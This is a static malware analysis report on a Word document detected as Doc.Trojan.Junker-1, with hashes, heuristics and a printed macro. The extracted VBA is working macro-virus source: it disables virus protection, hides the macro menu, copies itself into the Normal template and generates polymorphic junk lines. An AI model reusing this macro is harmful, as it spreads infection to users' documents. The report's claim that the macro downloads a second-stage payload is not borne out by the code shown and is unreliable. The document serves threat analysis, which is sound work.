Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 843edd0315dbb1d2…

MALICIOUS

Office (OLE)

37.5 KB Created: 2003-08-15 18:29:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 7ba308f2acb4f0d88dc68683ecc29ab2 SHA-1: 7601e5aaa0cc9ea46a0d0373c706dad26615319d SHA-256: 843edd0315dbb1d2365bf2307f1af6e960d7e95571bbcc7712c7ad99e65ec821
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a critical OLE_VBA_AUTOOPEN heuristic firing, indicating the presence of an AutoOpen macro. The extracted VBA script contains obfuscated code and attempts to disable virus protection and screen updating, consistent with malware behavior. The script's intent appears to be downloading and executing a second-stage payload, as suggested by the 'junk code' and manipulation of application settings.

Heuristics 4

  • ClamAV: Doc.Trojan.Junker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Junker-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6950 bytes
SHA-256: b69670420aa48585088d7d5050cbe8fbc94b0ae148ac9c3e31ab3deb267d0aa6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Autoopen()
'The junk code will be placed ere
Set nor = NormalTemplate.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
Set ths = ThisDocument.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
j = 0
'The junk code will be placed ere
Do
'The junk code will be placed ere
j = j + 2
'The junk code will be placed ere
ths.replaceline j, Junkstr
'The junk code will be placed ere
Loop Until j = 62
'The junk code will be placed ere
With Options
'The junk code will be placed ere
.VirusProtection = 0
'The junk code will be placed ere
.ConfirmConversions = 0
'The junk code will be placed ere
.SaveNormalPrompt = 0
'The junk code will be placed ere
.SendMailAttach = 1
'The junk code will be placed ere
.Application.EnableCancelKey = wdCancelDisabled
'The junk code will be placed ere
.Application.ScreenUpdating = 0
'The junk code will be placed ere
.Application.ShowVisualBasicEditor = 0
'The junk code will be placed ere
.Application.CommandBars("Tools").Controls("macro").Enabled = 0
'The junk code will be placed ere
End With
'The junk code will be placed ere
mycode = ths.lines(1, ths.countoflines)
'The junk code will be placed ere
With nor
'The junk code will be placed ere
.deletelines 1, .countoflines
'The junk code will be placed ere
.addfromstring mycode
'The junk code will be placed ere
End With
'The junk code will be placed ere
With doc
'The junk code will be placed ere
.deletelines 1, .countoflines
'The junk code will be placed ere
.addfromstring mycode
'The junk code will be placed ere
End With
'The junk code will be placed ere
If Day(Now()) = 31 Then
'The junk code will be placed ere
MsgBox "Hi, i am full of junk - so byte me!"
'The junk code will be placed ere
End If
'The junk code will be placed ere
'WM97.JUNK
End Sub

Private Function Junkstr()
'THE BIG JUNK GENERATOR
'BY VLAM
A = Int(Rnd * 5) + 1
ll = Int((Rnd * 50) + 10)
l = Int(Rnd * 2)
Select Case A
Case 1
    Randomize Timer
    s = Int(Rnd * 8) + 1
    Select Case s
    Case 1: k = " XOR "
    Case 2: k = " AND "
    Case 3: k = " EQV "
    Case 4: k = " - "
    Case 5: k = " + "
    Case 6: k = " OR "
    Case 7: k = " & "
    Case 8: k = " IMP "
    End Select
    junk = k
    kk = Int(Rnd * 3) + 1
    Select Case kk
    Case 1: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
    Case 2: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
    Case 3: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
    End Select
Case 2:
    Randomize Timer
    s = Int(Rnd * 20) + 1
    Select Case s
    Case 1: k = "OPTIONS"
    Case 2: k = "TASKS"
    Case 3: k = "APPLICATION"
    Case 4: k = "ACTIVEDOCUMENT"
    Case 5: k = "NORMALTEMPLATE"
    Case 6: k = "THISDOCUMENT"
    Case 7: k = "ACTIVEWINDOW"
    Case 8: k = "SYSTEM"
    Case 9: k = "WINDOWS"
    Case 10: k = "ASSISTANT"
    Case 11: k = "COMMANDBARS"
    Case 12: k = "COMMENTS"
    Case 13: k = "FRAMES"
    Case 14: k = "INDEXES"
    Case 15: k = "KEYBINDINGS"
    Case 16: k = "OPTIONS.APPLICATION"
    Case 17: k = "LANGUAGES"
    Case 18: k = "SYSTEM"
    Case 19: k = "LISTS"
    Case 20: k = "LISTTEMP
... (truncated)